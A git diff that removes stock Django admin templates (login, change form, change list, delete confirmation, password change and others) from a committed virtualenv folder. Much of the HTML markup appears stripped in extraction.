{% endif %} - - {% if model.admin_url and show_changelinks %} - {% if model.view_only %} - <td><a href="{{ model.admin_url }}" class="viewlink" aria-describedby="{{ app.app_label }}-{{ model_name }}">{% translate 'View' %}</a></td> - {% else %} - <td><a href="{{ model.admin_url }}" class="changelink" aria-describedby="{{ app.app_label }}-{{ model_name }}">{% translate 'Change' %}</a></td> - {% endif %} - {% elif show_changelinks %} - <td></td> - {% endif %} - </tr> - {% endwith %} - {% endfor %} - </table> - </div> - {% endfor %} -{% else %} - <p>{% translate 'You don’t have permission to view or edit anything.' %}</p> -{% endif %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/auth/user/add_form.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/auth/user/add_form.html deleted file mode 100644 index 7c7ca1d1..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/auth/user/add_form.html +++ /dev/null @@ -1,16 +0,0 @@ -{% extends "admin/change_form.html" %} -{% load i18n static %} - -{% block form_top %} - {% if not is_popup %} - <p>{% translate "After you’ve created a user, you’ll be able to edit more user options." %}</p> - {% endif %} -{% endblock %} -{% block extrahead %} - {{ block.super }} - <link rel="stylesheet" href="{% static 'admin/css/unusable_password_field.css' %}"> -{% endblock %} -{% block admin_change_form_document_ready %} - {{ block.super }} - <script src="{% static 'admin/js/unusable_password_field.js' %}" defer></script> -{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/auth/user/change_password.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/auth/user/change_password.html deleted file mode 100644 index 2f96a714..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/auth/user/change_password.html +++ /dev/null @@ -1,81 +0,0 @@ -{% extends "admin/base_site.html" %} -{% load i18n static %} -{% load admin_urls %} - -{% block title %}{% if form.errors %}{% translate "Error:" %} {% endif %}{{ block.super }}{% endblock %} -{% block extrastyle %} - {{ block.super }} - <link rel="stylesheet" href="{% static "admin/css/forms.css" %}"> - <link rel="stylesheet" href="{% static 'admin/css/unusable_password_field.css' %}"> -{% endblock %} -{% block bodyclass %}{{ block.super }} {{ opts.app_label }}-{{ opts.model_name }} change-form{% endblock %} -{% if not is_popup %} -{% block breadcrumbs %} -<div class="breadcrumbs"> -<a href="{% url 'admin:index' %}">{% translate 'Home' %}</a> -› <a href="{% url 'admin:app_list' app_label=opts.app_label %}">{{ opts.app_config.verbose_name }}</a> -› <a href="{% url opts|admin_urlname:'changelist' %}">{{ opts.verbose_name_plural|capfirst }}</a> -› <a href="{% url opts|admin_urlname:'change' original.pk|admin_urlquote %}">{{ original|truncatewords:"18" }}</a> -› {% if form.user.has_usable_password %}{% translate 'Change password' %}{% else %}{% translate 'Set password' %}{% endif %} -</div> -{% endblock %} -{% endif %} -{% block content %}<div id="content-main"> -<form{% if form_url %} action="{{ form_url }}"{% endif %} method="post" id="{{ opts.model_name }}_form">{% csrf_token %}{% block form_top %}{% endblock %} -<input type="text" name="username" value="{{ original.get_username }}" class="hidden"> -<div> -{% if is_popup %}<input type="hidden" name="{{ is_popup_var }}" value="1">{% endif %} -{% if form.errors %} - <p class="errornote"> - {% blocktranslate count counter=form.errors.items|length %}Please correct the error below.{% plural %}Please correct the errors below.{% endblocktranslate %} - </p> -{% endif %} - -<p>{% blocktranslate with username=original %}Enter a new password for the user <strong>{{ username }}</strong>.{% endblocktranslate %}</p> -{% if not form.user.has_usable_password %} - <p>{% blocktranslate %}This action will <strong>enable</strong> password-based authentication for this user.{% endblocktranslate %}</p> -{% endif %} - -<fieldset class="module aligned"> - -<div class="form-row"> - {{ form.usable_password.errors }} - <div class="flex-container">{{ form.usable_password.label_tag }} {{ form.usable_password }}</div> - {% if form.usable_password.help_text %} - <div class="help"{% if form.usable_password.id_for_label %} id="{{ form.usable_password.id_for_label }}_helptext"{% endif %}> - <p>{{ form.usable_password.help_text|safe }}</p> - </div> - {% endif %} -</div> - -<div class="form-row field-password1"> - {{ form.password1.errors }} - <div class="flex-container">{{ form.password1.label_tag }} {{ form.password1 }}</div> - {% if form.password1.help_text %} - <div class="help"{% if form.password1.id_for_label %} id="{{ form.password1.id_for_label }}_helptext"{% endif %}>{{ form.password1.help_text|safe }}</div> - {% endif %} -</div> - -<div class="form-row field-password2"> - {{ form.password2.errors }} - <div class="flex-container">{{ form.password2.label_tag }} {{ form.password2 }}</div> - {% if form.password2.help_text %} - <div class="help"{% if form.password2.id_for_label %} id="{{ form.password2.id_for_label }}_helptext"{% endif %}>{{ form.password2.help_text|safe }}</div> - {% endif %} -</div> - -</fieldset> - -<div class="submit-row"> - {% if form.user.has_usable_password %} - <input type="submit" name="set-password" value="{% translate 'Change password' %}" class="default set-password"> - <input type="submit" name="unset-password" value="{% translate 'Disable password-based authentication' %}" class="unset-password"> - {% else %} - <input type="submit" name="set-password" value="{% translate 'Enable password-based authentication' %}" class="default set-password"> - {% endif %} -</div> - -</div> -</form></div> -<script src="{% static 'admin/js/unusable_password_field.js' %}" defer></script> -{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/base.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/base.html deleted file mode 100644 index dd02328e..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/base.html +++ /dev/null @@ -1,126 +0,0 @@ -{% load i18n static %}<!DOCTYPE html> -{% get_current_language as LANGUAGE_CODE %}{% get_current_language_bidi as LANGUAGE_BIDI %} -<html lang="{{ LANGUAGE_CODE|default:"en-us" }}" dir="{{ LANGUAGE_BIDI|yesno:'rtl,ltr,auto' }}"> -<head> -<title>{% block title %}{% endblock %} - -{% block dark-mode-vars %} - - -{% endblock %} -{% if not is_popup and is_nav_sidebar_enabled %} - - -{% endif %} -{% block extrastyle %}{% endblock %} -{% if LANGUAGE_BIDI %}{% endif %} -{% block extrahead %}{% endblock %} -{% block responsive %} - - - {% if LANGUAGE_BIDI %}{% endif %} -{% endblock %} -{% block blockbots %}{% endblock %} - - - -{% translate 'Skip to main content' %} - -
- - {% if not is_popup %} - - {% block header %} - - {% endblock %} - - {% block nav-breadcrumbs %} - - {% endblock %} - {% endif %} - -
- {% if not is_popup and is_nav_sidebar_enabled %} - {% block nav-sidebar %} - {% include "admin/nav_sidebar.html" %} - {% endblock %} - {% endif %} -
- {% block messages %} - {% if messages %} -
    {% for message in messages %} - {{ message|capfirst }} - {% endfor %}
- {% endif %} - {% endblock messages %} - -
- {% block pretitle %}{% endblock %} - {% block content_title %}{% if title %}

{{ title }}

{% endif %}{% endblock %} - {% block content_subtitle %}{% if subtitle %}

{{ subtitle }}

{% endif %}{% endblock %} - {% block content %} - {% block object-tools %}{% endblock %} - {{ content }} - {% endblock %} - {% block sidebar %}{% endblock %} -
-
- -
-
-
{% block footer %}{% endblock %}
-
- - - - - - - - - -{% block extrabody %}{% endblock extrabody %} - - diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/base_site.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/base_site.html deleted file mode 100644 index 44059981..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/base_site.html +++ /dev/null @@ -1,12 +0,0 @@ -{% extends "admin/base.html" %} - -{% block title %}{% if subtitle %}{{ subtitle }} | {% endif %}{{ title }} | {{ site_title|default:_('Django site admin') }}{% endblock %} - -{% block branding %} - -{% if user.is_anonymous %} - {% include "admin/color_theme_toggle.html" %} -{% endif %} -{% endblock %} - -{% block nav-global %}{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/change_form.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/change_form.html deleted file mode 100644 index 8e7ced9a..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/change_form.html +++ /dev/null @@ -1,82 +0,0 @@ -{% extends "admin/base_site.html" %} -{% load i18n admin_urls static admin_modify %} - -{% block title %}{% if errors %}{% translate "Error:" %} {% endif %}{{ block.super }}{% endblock %} -{% block extrahead %}{{ block.super }} - -{{ media }} -{% endblock %} - -{% block extrastyle %}{{ block.super }}{% endblock %} - -{% block coltype %}colM{% endblock %} - -{% block bodyclass %}{{ block.super }} app-{{ opts.app_label }} model-{{ opts.model_name }} change-form{% endblock %} - -{% if not is_popup %} -{% block breadcrumbs %} - -{% endblock %} -{% endif %} - -{% block content %}
-{% block object-tools %} -{% if change and not is_popup %} -
    - {% block object-tools-items %} - {% change_form_object_tools %} - {% endblock %} -
-{% endif %} -{% endblock %} -
{% csrf_token %}{% block form_top %}{% endblock %} -
-{% if is_popup %}{% endif %} -{% if to_field %}{% endif %} -{% if save_on_top %}{% block submit_buttons_top %}{% submit_row %}{% endblock %}{% endif %} -{% if errors %} -

- {% blocktranslate count counter=errors|length %}Please correct the error below.{% plural %}Please correct the errors below.{% endblocktranslate %} -

- {{ adminform.form.non_field_errors }} -{% endif %} - -{% block field_sets %} -{% for fieldset in adminform %} - {% include "admin/includes/fieldset.html" with heading_level=2 prefix="fieldset" id_prefix=0 id_suffix=forloop.counter0 %} -{% endfor %} -{% endblock %} - -{% block after_field_sets %}{% endblock %} - -{% block inline_field_sets %} -{% for inline_admin_formset in inline_admin_formsets %} - {% include inline_admin_formset.opts.template %} -{% endfor %} -{% endblock %} - -{% block after_related_objects %}{% endblock %} - -{% block submit_buttons_bottom %}{% submit_row %}{% endblock %} - -{% block admin_change_form_document_ready %} - -{% endblock %} - -{# JavaScript for prepopulated fields #} -{% prepopulated_fields_js %} - -
-
-{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/change_form_object_tools.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/change_form_object_tools.html deleted file mode 100644 index 067ae837..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/change_form_object_tools.html +++ /dev/null @@ -1,8 +0,0 @@ -{% load i18n admin_urls %} -{% block object-tools-items %} -
  • - {% url opts|admin_urlname:'history' original.pk|admin_urlquote as history_url %} - {% translate "History" %} -
  • -{% if has_absolute_url %}
  • {% translate "View on site" %}
  • {% endif %} -{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/change_list.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/change_list.html deleted file mode 100644 index b0b4c316..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/change_list.html +++ /dev/null @@ -1,94 +0,0 @@ -{% extends "admin/base_site.html" %} -{% load i18n admin_urls static admin_list %} - -{% block title %}{% if cl.formset and cl.formset.errors %}{% translate "Error:" %} {% endif %}{{ block.super }}{% endblock %} -{% block extrastyle %} - {{ block.super }} - - {% if cl.formset %} - - {% endif %} - {% if cl.formset or action_form %} - - {% endif %} - {{ media.css }} - {% if not actions_on_top and not actions_on_bottom %} - - {% endif %} -{% endblock %} - -{% block extrahead %} -{{ block.super }} -{{ media.js }} - -{% endblock %} - -{% block bodyclass %}{{ block.super }} app-{{ opts.app_label }} model-{{ opts.model_name }} change-list{% endblock %} - -{% if not is_popup %} -{% block breadcrumbs %} - -{% endblock %} -{% endif %} - -{% block coltype %}{% endblock %} - -{% block content %} -
    - {% block object-tools %} -
      - {% block object-tools-items %} - {% change_list_object_tools %} - {% endblock %} -
    - {% endblock %} - {% if cl.formset and cl.formset.errors %} -

    - {% blocktranslate count counter=cl.formset.total_error_count %}Please correct the error below.{% plural %}Please correct the errors below.{% endblocktranslate %} -

    - {{ cl.formset.non_form_errors }} - {% endif %} -
    -
    - {% block search %}{% search_form cl %}{% endblock %} - {% block date_hierarchy %}{% if cl.date_hierarchy %}{% date_hierarchy cl %}{% endif %}{% endblock %} - -
    {% csrf_token %} - {% if cl.formset %} -
    {{ cl.formset.management_form }}
    - {% endif %} - - {% block result_list %} - {% if action_form and actions_on_top and cl.show_admin_actions %}{% admin_actions %}{% endif %} - {% result_list cl %} - {% if action_form and actions_on_bottom and cl.show_admin_actions %}{% admin_actions %}{% endif %} - {% endblock %} - {% block pagination %}{% pagination cl %}{% endblock %} -
    -
    - {% block filters %} - {% if cl.has_filters %} - - {% endif %} - {% endblock %} -
    -
    -{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/change_list_object_tools.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/change_list_object_tools.html deleted file mode 100644 index 11cc6fa4..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/change_list_object_tools.html +++ /dev/null @@ -1,12 +0,0 @@ -{% load i18n admin_urls %} - -{% block object-tools-items %} - {% if has_add_permission %} -
  • - {% url cl.opts|admin_urlname:'add' as add_url %} - - {% blocktranslate with cl.opts.verbose_name as name %}Add {{ name }}{% endblocktranslate %} - -
  • - {% endif %} -{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/change_list_results.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/change_list_results.html deleted file mode 100644 index d2a9feed..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/change_list_results.html +++ /dev/null @@ -1,36 +0,0 @@ -{% load i18n %} -{% if result_hidden_fields %} -
    {# DIV for HTML validation #} -{% for item in result_hidden_fields %}{{ item }}{% endfor %} -
    -{% endif %} -{% if results %} -
    - - - -{% for header in result_headers %} -{% endfor %} - - - -{% for result in results %} -{% if result.form and result.form.non_field_errors %} - -{% endif %} -{% for item in result %}{{ item }}{% endfor %} -{% endfor %} - -
    - {% if header.sortable and header.sort_priority > 0 %} -
    - - {% if num_sorted_fields > 1 %}{{ header.sort_priority }}{% endif %} - -
    - {% endif %} -
    {% if header.sortable %}{{ header.text|capfirst }}{% else %}{{ header.text|capfirst }}{% endif %}
    -
    -
    {{ result.form.non_field_errors }}
    -
    -{% endif %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/color_theme_toggle.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/color_theme_toggle.html deleted file mode 100644 index 2caa19ed..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/color_theme_toggle.html +++ /dev/null @@ -1,15 +0,0 @@ -{% load i18n %} - diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/date_hierarchy.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/date_hierarchy.html deleted file mode 100644 index c5088564..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/date_hierarchy.html +++ /dev/null @@ -1,14 +0,0 @@ -{% if show %} - -{% endif %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/delete_confirmation.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/delete_confirmation.html deleted file mode 100644 index 09e25e1f..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/delete_confirmation.html +++ /dev/null @@ -1,50 +0,0 @@ -{% extends "admin/base_site.html" %} -{% load i18n admin_urls static %} - -{% block extrahead %} - {{ block.super }} - {{ media }} - -{% endblock %} - -{% block bodyclass %}{{ block.super }} app-{{ opts.app_label }} model-{{ opts.model_name }} delete-confirmation{% endblock %} - -{% block breadcrumbs %} - -{% endblock %} - -{% block content %} -{% if perms_lacking %} - {% block delete_forbidden %} -

    {% blocktranslate with escaped_object=object %}Deleting the {{ object_name }} '{{ escaped_object }}' would result in deleting related objects, but your account doesn't have permission to delete the following types of objects:{% endblocktranslate %}

    -
      {{ perms_lacking|unordered_list }}
    - {% endblock %} -{% elif protected %} - {% block delete_protected %} -

    {% blocktranslate with escaped_object=object %}Deleting the {{ object_name }} '{{ escaped_object }}' would require deleting the following protected related objects:{% endblocktranslate %}

    -
      {{ protected|unordered_list }}
    - {% endblock %} -{% else %} - {% block delete_confirm %} -

    {% blocktranslate with escaped_object=object %}Are you sure you want to delete the {{ object_name }} "{{ escaped_object }}"? All of the following related items will be deleted:{% endblocktranslate %}

    - {% include "admin/includes/object_delete_summary.html" %} -

    {% translate "Objects" %}

    -
      {{ deleted_objects|unordered_list }}
    -
    {% csrf_token %} -
    - - {% if is_popup %}{% endif %} - {% if to_field %}{% endif %} - - {% translate "No, take me back" %} -
    -
    - {% endblock %} -{% endif %} -{% endblock content %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/delete_selected_confirmation.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/delete_selected_confirmation.html deleted file mode 100644 index 51b93a5f..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/delete_selected_confirmation.html +++ /dev/null @@ -1,47 +0,0 @@ -{% extends "admin/base_site.html" %} -{% load i18n l10n admin_urls static %} - -{% block extrahead %} - {{ block.super }} - {{ media }} - -{% endblock %} - -{% block bodyclass %}{{ block.super }} app-{{ opts.app_label }} model-{{ opts.model_name }} delete-confirmation delete-selected-confirmation{% endblock %} - -{% block breadcrumbs %} - -{% endblock %} - -{% block content %} -{% if perms_lacking %} -

    {% blocktranslate %}Deleting the selected {{ objects_name }} would result in deleting related objects, but your account doesn't have permission to delete the following types of objects:{% endblocktranslate %}

    -
      {{ perms_lacking|unordered_list }}
    -{% elif protected %} -

    {% blocktranslate %}Deleting the selected {{ objects_name }} would require deleting the following protected related objects:{% endblocktranslate %}

    -
      {{ protected|unordered_list }}
    -{% else %} -

    {% blocktranslate %}Are you sure you want to delete the selected {{ objects_name }}? All of the following objects and their related items will be deleted:{% endblocktranslate %}

    - {% include "admin/includes/object_delete_summary.html" %} -

    {% translate "Objects" %}

    - {% for deletable_object in deletable_objects %} -
      {{ deletable_object|unordered_list }}
    - {% endfor %} -
    {% csrf_token %} -
    - {% for obj in queryset %} - - {% endfor %} - - - - {% translate "No, take me back" %} -
    -
    -{% endif %} -{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/edit_inline/stacked.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/edit_inline/stacked.html deleted file mode 100644 index a6939f4e..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/edit_inline/stacked.html +++ /dev/null @@ -1,38 +0,0 @@ -{% load i18n admin_urls %} -
    -
    - {% if inline_admin_formset.is_collapsible %}
    {% endif %} -

    - {% if inline_admin_formset.formset.max_num == 1 %} - {{ inline_admin_formset.opts.verbose_name|capfirst }} - {% else %} - {{ inline_admin_formset.opts.verbose_name_plural|capfirst }} - {% endif %} -

    - {% if inline_admin_formset.is_collapsible %}
    {% endif %} -{{ inline_admin_formset.formset.management_form }} -{{ inline_admin_formset.formset.non_form_errors }} - -{% for inline_admin_form in inline_admin_formset %}
    -

    {{ inline_admin_formset.opts.verbose_name|capfirst }}: {% if inline_admin_form.original %}{{ inline_admin_form.original }}{% if inline_admin_form.model_admin.show_change_link and inline_admin_form.model_admin.has_registered_model %} {% if inline_admin_formset.has_change_permission %}{% translate "Change" %}{% else %}{% translate "View" %}{% endif %}{% endif %} -{% else %}#{{ forloop.counter }}{% endif %} - {% if inline_admin_form.show_url %}{% translate "View on site" %}{% endif %} - {% if inline_admin_formset.formset.can_delete and inline_admin_formset.has_delete_permission and inline_admin_form.original %}{{ inline_admin_form.deletion_field.field }} {{ inline_admin_form.deletion_field.label_tag }}{% endif %} -

    - {% if inline_admin_form.form.non_field_errors %}{{ inline_admin_form.form.non_field_errors }}{% endif %} - - {% with parent_counter=forloop.counter0 %} - {% for fieldset in inline_admin_form %} - {% include "admin/includes/fieldset.html" with heading_level=4 prefix=fieldset.formset.prefix id_prefix=parent_counter id_suffix=forloop.counter0 %} - {% endfor %} - {% endwith %} - - {% if inline_admin_form.needs_explicit_pk_field %}{{ inline_admin_form.pk_field.field }}{% endif %} - {% if inline_admin_form.fk_field %}{{ inline_admin_form.fk_field.field }}{% endif %} -
    {% endfor %} - {% if inline_admin_formset.is_collapsible %}
    {% endif %} -
    -
    diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/edit_inline/tabular.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/edit_inline/tabular.html deleted file mode 100644 index 9367ac9b..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/edit_inline/tabular.html +++ /dev/null @@ -1,69 +0,0 @@ -{% load i18n admin_urls static admin_modify %} -
    - -
    diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/filter.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/filter.html deleted file mode 100644 index a6094ecb..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/filter.html +++ /dev/null @@ -1,12 +0,0 @@ -{% load i18n %} -
    - - {% blocktranslate with filter_title=title %} By {{ filter_title }} {% endblocktranslate %} - - -
    diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/includes/fieldset.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/includes/fieldset.html deleted file mode 100644 index 9c9b3196..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/includes/fieldset.html +++ /dev/null @@ -1,39 +0,0 @@ -
    - {% if fieldset.name %} - {% if fieldset.is_collapsible %}
    {% endif %} - {{ fieldset.name }} - {% if fieldset.is_collapsible %}{% endif %} - {% endif %} - {% if fieldset.description %} -
    {{ fieldset.description|safe }}
    - {% endif %} - {% for line in fieldset %} -
    - {% if line.fields|length == 1 %}{{ line.errors }}{% else %}
    {% endif %} - {% for field in line %} -
    - {% if not line.fields|length == 1 and not field.is_readonly %}{{ field.errors }}{% endif %} -
    - {% if field.is_checkbox %} - {{ field.field }}{{ field.label_tag }} - {% else %} - {{ field.label_tag }} - {% if field.is_readonly %} -
    {{ field.contents }}
    - {% else %} - {{ field.field }} - {% endif %} - {% endif %} -
    - {% if field.field.help_text %} -
    -
    {{ field.field.help_text|safe }}
    -
    - {% endif %} -
    - {% endfor %} - {% if not line.fields|length == 1 %}
    {% endif %} -
    - {% endfor %} - {% if fieldset.name and fieldset.is_collapsible %}
    {% endif %} -
    diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/includes/object_delete_summary.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/includes/object_delete_summary.html deleted file mode 100644 index 9ad97db2..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/includes/object_delete_summary.html +++ /dev/null @@ -1,7 +0,0 @@ -{% load i18n %} -

    {% translate "Summary" %}

    -
      - {% for model_name, object_count in model_count %} -
    • {{ model_name|capfirst }}: {{ object_count }}
    • - {% endfor %} -
    diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/index.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/index.html deleted file mode 100644 index 899727a4..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/index.html +++ /dev/null @@ -1,51 +0,0 @@ -{% extends "admin/base_site.html" %} -{% load i18n static %} - -{% block extrastyle %}{{ block.super }}{% endblock %} - -{% block coltype %}colMS{% endblock %} - -{% block bodyclass %}{{ block.super }} dashboard{% endblock %} - -{% block nav-breadcrumbs %}{% endblock %} - -{% block nav-sidebar %}{% endblock %} - -{% block content %} -
    - {% include "admin/app_list.html" with app_list=app_list show_changelinks=True %} -
    -{% endblock %} - -{% block sidebar %} - -{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/invalid_setup.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/invalid_setup.html deleted file mode 100644 index 1ef7c714..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/invalid_setup.html +++ /dev/null @@ -1,13 +0,0 @@ -{% extends "admin/base_site.html" %} -{% load i18n %} - -{% block breadcrumbs %} - -{% endblock %} - -{% block content %} -

    {% translate 'Something’s wrong with your database installation. Make sure the appropriate database tables have been created, and make sure the database is readable by the appropriate user.' %}

    -{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/login.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/login.html deleted file mode 100644 index fa0dcbc0..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/login.html +++ /dev/null @@ -1,69 +0,0 @@ -{% extends "admin/base_site.html" %} -{% load i18n static %} - -{% block title %}{% if form.errors %}{% translate "Error:" %} {% endif %}{{ block.super }}{% endblock %} -{% block extrastyle %}{{ block.super }} -{{ form.media }} -{% endblock %} - -{% block bodyclass %}{{ block.super }} login{% endblock %} - -{% block usertools %}{% endblock %} - -{% block nav-global %}{% endblock %} - -{% block nav-sidebar %}{% endblock %} - -{% block content_title %}{% endblock %} - -{% block nav-breadcrumbs %}{% endblock %} - -{% block content %} -{% if form.errors and not form.non_field_errors %} -

    -{% blocktranslate count counter=form.errors.items|length %}Please correct the error below.{% plural %}Please correct the errors below.{% endblocktranslate %} -

    -{% endif %} - -{% if form.non_field_errors %} -{% for error in form.non_field_errors %} -

    - {{ error }} -

    -{% endfor %} -{% endif %} - -
    - -{% if user.is_authenticated %} -

    -{% blocktranslate trimmed %} - You are authenticated as {{ username }}, but are not authorized to - access this page. Would you like to login to a different account? -{% endblocktranslate %} -

    -{% endif %} - -
    {% csrf_token %} -
    - {{ form.username.errors }} - {{ form.username.label_tag }} {{ form.username }} -
    -
    - {{ form.password.errors }} - {{ form.password.label_tag }} {{ form.password }} - -
    - {% url 'admin_password_reset' as password_reset_url %} - {% if password_reset_url %} - - {% endif %} -
    - -
    -
    - -
    -{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/nav_sidebar.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/nav_sidebar.html deleted file mode 100644 index a413e237..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/nav_sidebar.html +++ /dev/null @@ -1,8 +0,0 @@ -{% load i18n %} - - diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/object_history.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/object_history.html deleted file mode 100644 index f83984c3..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/object_history.html +++ /dev/null @@ -1,56 +0,0 @@ -{% extends "admin/base_site.html" %} -{% load i18n admin_urls %} - -{% block breadcrumbs %} - -{% endblock %} - -{% block content %} -
    -
    - -{% if action_list %} - - - - - - - - - - {% for action in action_list %} - - - - - - {% endfor %} - -
    {% translate 'Date/time' %}{% translate 'User' %}{% translate 'Action' %}
    {{ action.action_time|date:"DATETIME_FORMAT" }}{{ action.user.get_username }}{% if action.user.get_full_name %} ({{ action.user.get_full_name }}){% endif %}{{ action.get_change_message }}
    -

    - {% if pagination_required %} - {% for i in page_range %} - {% if i == action_list.paginator.ELLIPSIS %} - {{ action_list.paginator.ELLIPSIS }} - {% elif i == action_list.number %} - {{ i }} - {% else %} - {{ i }} - {% endif %} - {% endfor %} - {% endif %} - {{ action_list.paginator.count }} {% blocktranslate count counter=action_list.paginator.count %}entry{% plural %}entries{% endblocktranslate %} -

    -{% else %} -

    {% translate 'This object doesn’t have a change history. It probably wasn’t added via this admin site.' %}

    -{% endif %} -
    -
    -{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/pagination.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/pagination.html deleted file mode 100644 index bc3117bf..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/pagination.html +++ /dev/null @@ -1,12 +0,0 @@ -{% load admin_list %} -{% load i18n %} -

    -{% if pagination_required %} -{% for i in page_range %} - {% paginator_number cl i %} -{% endfor %} -{% endif %} -{{ cl.result_count }} {% if cl.result_count == 1 %}{{ cl.opts.verbose_name }}{% else %}{{ cl.opts.verbose_name_plural }}{% endif %} -{% if show_all_url %}{% translate 'Show all' %}{% endif %} -{% if cl.formset and cl.result_count %}{% endif %} -

    diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/popup_response.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/popup_response.html deleted file mode 100644 index 57a1ae36..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/popup_response.html +++ /dev/null @@ -1,10 +0,0 @@ -{% load i18n static %} - - {% translate 'Popup closing…' %} - - - - diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/prepopulated_fields_js.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/prepopulated_fields_js.html deleted file mode 100644 index dd6e5610..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/prepopulated_fields_js.html +++ /dev/null @@ -1,5 +0,0 @@ -{% load static %} - diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/search_form.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/search_form.html deleted file mode 100644 index 447b8039..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/search_form.html +++ /dev/null @@ -1,20 +0,0 @@ -{% load i18n static %} -{% if cl.search_fields %} -
    -{% endif %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/submit_line.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/submit_line.html deleted file mode 100644 index b2b20549..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/submit_line.html +++ /dev/null @@ -1,17 +0,0 @@ -{% load i18n admin_urls %} -
